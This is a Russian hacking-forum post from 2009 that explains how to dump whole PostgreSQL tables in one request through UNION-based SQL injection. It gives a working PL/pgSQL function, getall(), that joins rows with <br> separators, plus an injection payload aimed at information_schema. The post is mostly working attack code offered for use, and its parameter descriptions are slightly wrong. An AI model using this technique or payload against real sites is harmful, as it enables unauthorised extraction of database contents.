Показать сообщение отдельно

  #28  
Старый 14.09.2009, 16:44
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
С нами: 10309346

Репутация: 4303


По умолчанию

Прощай лимит

Если у нас установлен процедурный язык plpgsql
Код:
select lanname from pg_language where lanname='plpgsql'
Можно не замарачиваться с лимитом и вывести содержимое таблицы одним запросом
Для этого создаем функцию

Код:
CREATE OR REPLACE FUNCTION getall (text,text,text,text,text) RETURNS text AS $func$
DECLARE 
		schema 		ALIAS FOR $1;
		table 			ALIAS FOR $2;
		column1 		ALIAS FOR $3;
		column2 		ALIAS FOR $4;
		column3		ALIAS FOR $5;
		count 			int;
		i 			int;
		temp			text;
		int_test 			text;
		input_refc 		refcursor;
BEGIN 
		int_test := $qr$Result : $qr$;
		OPEN input_refc FOR EXECUTE $qr$SELECT count($qr$ || quote_ident(column1) || $qr$) from $qr$ || quote_ident(schema) || $qr$.$qr$ || quote_ident(table);
		FETCH input_refc into count;
		CLOSE input_refc;
		count := count - 1;
		BEGIN 
				FOR i in 0..count LOOP 
						OPEN input_refc FOR EXECUTE $qr$SELECT $qr$ || quote_ident(column1) || $qr$||chr(58)||$qr$ || quote_ident(column2) || $qr$||chr(58)||$qr$ || quote_ident(column3) || $qr$||$sep$<BR>$sep$ FROM $qr$ || quote_ident(schema) || $qr$.$qr$ || quote_ident(table) || $qr$ LIMIT 1 OFFSET $qr$ || i;
						FETCH input_refc into temp;
						CLOSE input_refc;
						int_test := int_test || temp;
						END LOOP;
						RETURN int_test;
		END;
END;
$func$ LANGUAGE plpgsql;

Функция getall() получает 5 параметров
1 - имя базы
2 - имя таблицы
3,4,5,6 - имена колонок
Функция ориентирована на использование в конструкции Union, т.к разделителем выступает тег <br>
екземпл
id=-1 union select getall('information_schema','columns','column_name ','table_name','table_schema')

Последний раз редактировалось Spyder; 14.09.2009 в 16:45.. Причина: очепятка